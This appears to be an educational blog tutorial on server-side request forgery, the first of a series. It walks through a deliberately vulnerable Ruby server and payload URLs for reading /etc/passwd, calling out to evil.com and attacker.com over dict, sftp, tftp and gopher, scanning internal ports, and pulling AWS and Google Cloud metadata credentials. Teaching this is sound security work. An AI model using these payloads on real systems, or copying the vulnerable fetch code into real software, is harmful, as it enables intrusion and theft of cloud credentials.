Vulnerability Vault: Breaking Down SSRF — Server Side Request Forgery (Part 1)

Vikas Sharma
6 min readMar 8, 2024

--

Welcome to “Vulnerability Vault,” a dedicated series where we unravel the mysteries of cybersecurity vulnerabilities, one byte at a time. Our journey begins with an in-depth exploration of Server-Side Request Forgery (SSRF), a critical vulnerability that has been exploited in the shadows of the digital world.

Foundations First: Understanding the Essentials

Server-side request forgery is a web security vulnerability that allows an attacker to cause the server-side application to make requests to an unintended location.

Typically, an SSRF attack involves the attacker forcing the server to connect to internal services only found in the infrastructure of the company. Other times, they might be able to compel the server to establish a connection with any random external system. Sensitive information, including login credentials, might be exposed in this way.

In simpler words: Attackers ask the server to fetch a URL for his/her behalf

Let’s understand with a example:

GET /?url=http://google.com/ HTTP/1.1
Host: example.com

Here, example.com fetch http://google.com from it’s server. To easy understanding, see visuals below:

Contents Outline

  1. Types of SSRF
  2. Test Cases
  3. Bypass Whitelisting and Blacklisting
  4. Live — Real World Demo
  1. Types of Server Side Request Forgery (SSRF) —
    Basic SSRF — The one which display response back to adversaries
    Blind SSRF — The one which doesn’t display response
  • Basic SSRF —
    It display response back to attacker, so once the server fetches the URL with payload made by attacker, it will send response back to adversaries

    Setting up the local environment to set it up: (Idea from: Jobert’s post)
  • For the sake of this blog post, let’s assume we have a server that runs on the following Ruby code:
    To install following package, use gem install sinatra open-uri uri
#ruby version ruby 3.1.2p20
require 'sinatra'
require 'open-uri'

get '/' do
# Ensure the URL parameter is provided
return "No URL provided" unless params[:url]

url = params[:url]

# Use `URI.open` for Ruby versions where `Kernel#open` is considered unsafe or deprecated
response = URI.open(url).read
format 'RESPONSE: %s', response
end

To run this code locally, store it as server.rb, run gem install sinatra, followed by ruby server.rb. You can then play around with it at http://localhost:4567/. Do NOT run this on anything other than a local loopback interface, this leads to command execution.

When it opens the location entered in the url parameters irrespective of files, URL. For example:

Exploring the Capabilities of SSRF

  • SSRF to Reflected XSS
  • URL schemas to read internal and make server perform action
    (file:/// , dict:// , ftp:// , gopher:// ..)
  • Scan for internal networks and ports
  • On cloud instances, go for Meta — Data

SSRF to Reflected XSS —

Simply fetch a file from external sites which has malicious payload with the content type served as html

https://localhost:4567/?url=http://brutelogic.com.br/poc.svg

This will load the content of poc.svg which returns the XSS code embedded in SVG. If you need to learn more on XSS using SVG, here is the Portswigger link

Testing URL Schemas —

When testing for SSRF, the foremost task is to test all the wrapper to know which are working. Wrappers are:

file:///
dict://
sftp://
ldap://
tftp://
gopher://

Understanding each wrappers:

  • file:// -
    This is used to fetch file from the file system.
http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini

If the server blocks the request to external network or have whitelisting in places, we can use other URL schemas to make a request

  • dict:// —
    Dict URL scheme is used to refer to definitions or word lists available using the DICT protocol:
http://example.com/ssrf.php?dict://evil.com:1337/

evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 31126)
CLIENT libcurl 7.40.0
  • sftp://
    SFTP stands for SSH File Transfer Protocol, or Secure File Transfer Protocol, is a separate protocol packaged with SSH that works in a similar way over a secure connection.
http://example.com/ssrf.php?url=sftp://evil.com:1337/

evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 37146)
SSH-2.0-libssh2_1.4.2
  • ldap:// or ldaps:// or ldapi://
    LDAP stands for Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service.
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
  • tftp://
    Trivial File Transfer Protocol is a simple lockstep File Transfer Protocol which allows a client to get a file from or put a file onto a remote host
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET

evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port 1337)
TESTUDPPACKEToctettsize0blksize512timeout3
  • gopher://
    Gopher, is a distributed document delivery service. It allows users to explore, search and retrieve information residing on different locations in a seamless fashion.
http://example.com/ssrf.php?url=http://attacker.com/gopher.php
gopher.php (host it on acttacker.com):-
<?php
header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');
?>

evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 49398)
Hi
Testing for SSRF

Scan for internal networks and ports —

What if the application have some servers running in their network such as Kibana, Elastic Search, MangoDB which are inaccessible to external internet due to protective measure, be it firewall or so.

Attackers runs a internal IP and port scan to understand more about the target’s infrastructure for further exploitation.

To do so, you can use one of many ways mentioned below:

https://localhost:4567/?url=http://127.0.0.1:[portnumber]
#You can use intruder, or script to reitrerate all the major ports to get the response

Sometimes it can escalate to Remote Code Execution from normal SSRF.

SSRF in Cloud Instances —

  • Amazon:
    If you happen to find an SSRF in application hosted on Amazon Cloud, Amazon exposes an internal services every EC2 instances can query for instance metadata about the host. In that case, try requesting:
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance

Mentioned above URLs will reveal sensitive information about the instances such as AWS keys, SSH keys and IAM Roles and many more.

To demonstrate this, lets use flaws.cloud designed for learning vulnerabilities exploitation in Cloud — AWS:

http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/[INJECTION PAYLOAD]
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/
  • Google Cloud:
    The concept goes same for the google cloud, but the URL are different, mentioned below:
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json

For other cloud instances, please find the link here

To learn more about on SSRF, you can go for:

This concludes Part 1 of our deep dive into SSRF vulnerabilities within the “Vulnerability Vault” series. Stay tuned for Part 2, where we’ll continue to unlock more insights and defenses against this critical cybersecurity threat.

Happy Hacking!!!

--

--

Vikas Sharma

Exploring the Intersection of Tech and Spirituality | Cybersecurity Enthusiast and Concordia grad exploring the nexus of tech, security, and innovation | 🧑‍💻